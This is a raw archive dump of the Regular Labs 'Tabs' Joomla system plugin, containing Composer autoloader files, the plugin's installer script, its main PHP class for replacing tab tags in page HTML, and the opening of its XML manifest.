PK�(]��@���1system/tabs/vendor/composer/autoload_classmap.phpnu�[���<?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
);
PK�(]����-system/tabs/vendor/composer/autoload_psr4.phpnu�[���<?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'RegularLabs\\Plugin\\System\\Tabs\\' => array($baseDir . '/src'),
);
PK�(]T��"�:�:1system/tabs/vendor/composer/InstalledVersions.phpnu�[���<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer;

use Composer\Autoload\ClassLoader;
use Composer\Semver\VersionParser;

/**
 * This class is copied in every Composer installed project and available to all
 *
 * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
 *
 * To require its presence, you can require `composer-runtime-api ^2.0`
 */
class InstalledVersions
{
    /**
     * @var mixed[]|null
     * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}|array{}|null
     */
    private static $installed;

    /**
     * @var bool|null
     */
    private static $canGetVendors;

    /**
     * @var array[]
     * @psalm-var array<string, array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    private static $installedByVendor = array();

    /**
     * Returns a list of all package names which are present, either by being installed, replaced or provided
     *
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackages()
    {
        $packages = array();
        foreach (self::getInstalled() as $installed) {
            $packages[] = array_keys($installed['versions']);
        }

        if (1 === \count($packages)) {
            return $packages[0];
        }

        return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
    }

    /**
     * Returns a list of all package names with a specific type e.g. 'library'
     *
     * @param  string   $type
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackagesByType($type)
    {
        $packagesByType = array();

        foreach (self::getInstalled() as $installed) {
            foreach ($installed['versions'] as $name => $package) {
                if (isset($package['type']) && $package['type'] === $type) {
                    $packagesByType[] = $name;
                }
            }
        }

        return $packagesByType;
    }

    /**
     * Checks whether the given package is installed
     *
     * This also returns true if the package name is provided or replaced by another package
     *
     * @param  string $packageName
     * @param  bool   $includeDevRequirements
     * @return bool
     */
    public static function isInstalled($packageName, $includeDevRequirements = true)
    {
        foreach (self::getInstalled() as $installed) {
            if (isset($installed['versions'][$packageName])) {
                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
            }
        }

        return false;
    }

    /**
     * Checks whether the given package satisfies a version constraint
     *
     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
     *
     *   Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
     *
     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
     * @param  string        $packageName
     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
     * @return bool
     */
    public static function satisfies(VersionParser $parser, $packageName, $constraint)
    {
        $constraint = $parser->parseConstraints($constraint);
        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

        return $provided->matches($constraint);
    }

    /**
     * Returns a version constraint representing all the range(s) which are installed for a given package
     *
     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
     * whether a given version of a package is installed, and not just whether it exists
     *
     * @param  string $packageName
     * @return string Version constraint usable with composer/semver
     */
    public static function getVersionRanges($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            $ranges = array();
            if (isset($installed['versions'][$packageName]['pretty_version'])) {
                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
            }
            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
            }
            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
            }
            if (array_key_exists('provided', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
            }

            return implode(' || ', $ranges);
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getPrettyVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['pretty_version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['pretty_version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
     */
    public static function getReference($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['reference'])) {
                return null;
            }

            return $installed['versions'][$packageName]['reference'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
     */
    public static function getInstallPath($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @return array
     * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}
     */
    public static function getRootPackage()
    {
        $installed = self::getInstalled();

        return $installed[0]['root'];
    }

    /**
     * Returns the raw installed.php data for custom implementations
     *
     * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
     * @return array[]
     * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}
     */
    public static function getRawData()
    {
        @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                self::$installed = include __DIR__ . '/installed.php';
            } else {
                self::$installed = array();
            }
        }

        return self::$installed;
    }

    /**
     * Returns the raw data of all installed.php which are currently loaded for custom implementations
     *
     * @return array[]
     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    public static function getAllRawData()
    {
        return self::getInstalled();
    }

    /**
     * Lets you reload the static array from another file
     *
     * This is only useful for complex integrations in which a project needs to use
     * this class but then also needs to execute another project's autoloader in process,
     * and wants to ensure both projects have access to their version of installed.php.
     *
     * A typical case would be PHPUnit, where it would need to make sure it reads all
     * the data it needs from this class, then call reload() with
     * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
     * the project in which it runs can then also use this class safely, without
     * interference between PHPUnit's dependencies and the project's dependencies.
     *
     * @param  array[] $data A vendor/composer/installed.php data set
     * @return void
     *
     * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>} $data
     */
    public static function reload($data)
    {
        self::$installed = $data;
        self::$installedByVendor = array();
    }

    /**
     * @return array[]
     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    private static function getInstalled()
    {
        if (null === self::$canGetVendors) {
            self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
        }

        $installed = array();

        if (self::$canGetVendors) {
            foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
                if (isset(self::$installedByVendor[$vendorDir])) {
                    $installed[] = self::$installedByVendor[$vendorDir];
                } elseif (is_file($vendorDir.'/composer/installed.php')) {
                    $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
                    if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) {
                        self::$installed = $installed[count($installed) - 1];
                    }
                }
            }
        }

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                self::$installed = require __DIR__ . '/installed.php';
            } else {
                self::$installed = array();
            }
        }
        $installed[] = self::$installed;

        return $installed;
    }
}
PK�(]�5Ky�>�>+system/tabs/vendor/composer/ClassLoader.phpnu�[���<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    https://www.php-fig.org/psr/psr-0/
 * @see    https://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    /** @var ?string */
    private $vendorDir;

    // PSR-4
    /**
     * @var array[]
     * @psalm-var array<string, array<string, int>>
     */
    private $prefixLengthsPsr4 = array();
    /**
     * @var array[]
     * @psalm-var array<string, array<int, string>>
     */
    private $prefixDirsPsr4 = array();
    /**
     * @var array[]
     * @psalm-var array<string, string>
     */
    private $fallbackDirsPsr4 = array();

    // PSR-0
    /**
     * @var array[]
     * @psalm-var array<string, array<string, string[]>>
     */
    private $prefixesPsr0 = array();
    /**
     * @var array[]
     * @psalm-var array<string, string>
     */
    private $fallbackDirsPsr0 = array();

    /** @var bool */
    private $useIncludePath = false;

    /**
     * @var string[]
     * @psalm-var array<string, string>
     */
    private $classMap = array();

    /** @var bool */
    private $classMapAuthoritative = false;

    /**
     * @var bool[]
     * @psalm-var array<string, bool>
     */
    private $missingClasses = array();

    /** @var ?string */
    private $apcuPrefix;

    /**
     * @var self[]
     */
    private static $registeredLoaders = array();

    /**
     * @param ?string $vendorDir
     */
    public function __construct($vendorDir = null)
    {
        $this->vendorDir = $vendorDir;
    }

    /**
     * @return string[]
     */
    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
        }

        return array();
    }

    /**
     * @return array[]
     * @psalm-return array<string, array<int, string>>
     */
    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    /**
     * @return array[]
     * @psalm-return array<string, string>
     */
    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    /**
     * @return array[]
     * @psalm-return array<string, string>
     */
    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    /**
     * @return string[] Array of classname => path
     * @psalm-return array<string, string>
     */
    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param string[] $classMap Class to filename map
     * @psalm-param array<string, string> $classMap
     *
     * @return void
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string          $prefix  The prefix
     * @param string[]|string $paths   The PSR-0 root directories
     * @param bool            $prepend Whether to prepend the directories
     *
     * @return void
     */
    public function add($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    (array) $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = (array) $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                (array) $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string          $prefix  The prefix/namespace, with trailing '\\'
     * @param string[]|string $paths   The PSR-4 base directories
     * @param bool            $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    (array) $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                (array) $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string          $prefix The prefix
     * @param string[]|string $paths  The PSR-0 base directories
     *
     * @return void
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string          $prefix The prefix/namespace, with trailing '\\'
     * @param string[]|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     *
     * @return void
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     *
     * @return void
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     *
     * @return void
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     *
     * @return void
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);

        if (null === $this->vendorDir) {
            return;
        }

        if ($prepend) {
            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
        } else {
            unset(self::$registeredLoaders[$this->vendorDir]);
            self::$registeredLoaders[$this->vendorDir] = $this;
        }
    }

    /**
     * Unregisters this instance as an autoloader.
     *
     * @return void
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));

        if (null !== $this->vendorDir) {
            unset(self::$registeredLoaders[$this->vendorDir]);
        }
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return true|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            includeFile($file);

            return true;
        }

        return null;
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    /**
     * Returns the currently registered loaders indexed by their corresponding vendor directories.
     *
     * @return self[]
     */
    public static function getRegisteredLoaders()
    {
        return self::$registeredLoaders;
    }

    /**
     * @param  string       $class
     * @param  string       $ext
     * @return string|false
     */
    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }
}

/**
 * Scope isolated include.
 *
 * Prevents access to $this/self from included files.
 *
 * @param  string $file
 * @return void
 * @private
 */
function includeFile($file)
{
    include $file;
}
PK�(]�b�77-system/tabs/vendor/composer/autoload_real.phpnu�[���<?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit984a5d895b21919c58702468b682d755
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        spl_autoload_register(array('ComposerAutoloaderInit984a5d895b21919c58702468b682d755', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(\dirname(__FILE__)));
        spl_autoload_unregister(array('ComposerAutoloaderInit984a5d895b21919c58702468b682d755', 'loadClassLoader'));

        $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
        if ($useStaticLoader) {
            require __DIR__ . '/autoload_static.php';

            call_user_func(\Composer\Autoload\ComposerStaticInit984a5d895b21919c58702468b682d755::getInitializer($loader));
        } else {
            $map = require __DIR__ . '/autoload_namespaces.php';
            foreach ($map as $namespace => $path) {
                $loader->set($namespace, $path);
            }

            $map = require __DIR__ . '/autoload_psr4.php';
            foreach ($map as $namespace => $path) {
                $loader->setPsr4($namespace, $path);
            }

            $classMap = require __DIR__ . '/autoload_classmap.php';
            if ($classMap) {
                $loader->addClassMap($classMap);
            }
        }

        $loader->register(true);

        return $loader;
    }
}
PK�(] �..#system/tabs/vendor/composer/LICENSEnu�[���
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

PK�(]�����system/tabs/script.install.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         6.0.3
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

require_once __DIR__ . '/script.install.helper.php';

class PlgSystemTabsInstallerScript extends PlgSystemTabsInstallerScriptHelper
{
	public $name           = 'TABS';
	public $alias          = 'tabs';
	public $extension_type = 'plugin';

	public function uninstall($adapter)
	{
		$this->uninstallPlugin($this->extname, 'editors-xtd');
	}
}
PK�(]`�`"��system/tabs/tabs.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         8.3.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Extension as RL_Extension;
use RegularLabs\Library\Html as RL_Html;
use RegularLabs\Library\Protect as RL_Protect;
use RegularLabs\Library\SystemPlugin as RL_SystemPlugin;
use RegularLabs\Plugin\System\Tabs\Document;
use RegularLabs\Plugin\System\Tabs\Params;
use RegularLabs\Plugin\System\Tabs\Protect;
use RegularLabs\Plugin\System\Tabs\Replace;

// Do not instantiate plugin on install pages
// to prevent installation/update breaking because of potential breaking changes
$input = JFactory::getApplication()->input;
if (in_array($input->get('option'), ['com_installer', 'com_regularlabsmanager']) && $input->get('action') != '')
{
    return;
}

if ( ! is_file(__DIR__ . '/vendor/autoload.php'))
{
    return;
}

require_once __DIR__ . '/vendor/autoload.php';

if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')
    || ! is_file(JPATH_LIBRARIES . '/regularlabs/src/SystemPlugin.php')
)
{
    JFactory::getLanguage()->load('plg_system_tabs', __DIR__);
    JFactory::getApplication()->enqueueMessage(
        JText::sprintf('TAB_EXTENSION_CAN_NOT_FUNCTION', JText::_('TABS'))
        . ' ' . JText::_('TAB_REGULAR_LABS_LIBRARY_NOT_INSTALLED'),
        'error'
    );

    return;
}

require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';

if ( ! RL_Document::isJoomlaVersion(3, 'TABS'))
{
    RL_Extension::disable('tabs', 'plugin');

    RL_Document::adminError(
        JText::sprintf('RL_PLUGIN_HAS_BEEN_DISABLED', JText::_('TABS'))
    );

    return;
}

if (true)
{
    class PlgSystemTabs extends RL_SystemPlugin
    {
        public $_lang_prefix           = 'TAB';
        public $_has_tags              = true;
        public $_disable_on_components = true;
        public $_jversion              = 3;

        public function processArticle(&$string, $area = 'article', $context = '', $article = null, $page = 0)
        {
            Replace::replaceTags($string, $area, $context);
        }

        protected function loadStylesAndScripts(&$buffer)
        {
            Document::loadStylesAndScripts();
        }

        protected function changeDocumentBuffer(&$buffer)
        {
            return Replace::replaceTags($buffer, 'component');
        }

        protected function changeFinalHtmlOutput(&$html)
        {
            $params = Params::get();
            [$tag_start, $tag_end] = Params::getTagCharacters();

            if (
                strpos($html, $tag_start . $params->tag_open) === false
                && strpos($html, 'rl_tabs-scrollto') === false
            )
            {
                Document::removeHeadStuff($html);

                return true;
            }

            // only do stuff in body
            [$pre, $body, $post] = RL_Html::getBody($html);
            Replace::replaceTags($body, 'body');
            $html = $pre . $body . $post;

            return true;
        }

        protected function cleanFinalHtmlOutput(&$html)
        {
            $params = Params::get();

            Protect::unprotectTags($html);

            RL_Protect::removeFromHtmlTagContent($html, Params::getTags(true));
            RL_Protect::removeInlineComments($html, 'Tabs');

            if ( ! $params->place_comments)
            {
                RL_Protect::removeCommentTags($html, 'Tabs');
            }
        }
    }
}
PK�(]p���/*/*system/tabs/tabs.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3" type="plugin" group="system" method="upgrade">
  <name>PLG_SYSTEM_TABS</name>
  <description>PLG_SYSTEM_TABS_DESC</description>
  <version>8.3.1</version>
  <creationDate>February 2023</creationDate>
  <author>Regular Labs (Peter van Westen)</author>
  <authorEmail>info@regularlabs.com</authorEmail>
  <authorUrl>https://regularlabs.com</authorUrl>
  <copyright>Copyright © 2023 Regular Labs - All Rights Reserved</copyright>
  <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
  <files>
    <file plugin="tabs">tabs.php</file>
    <folder>language</folder>
    <folder>src</folder>
    <folder>vendor</folder>
  </files>
  <media folder="media" destination="tabs">
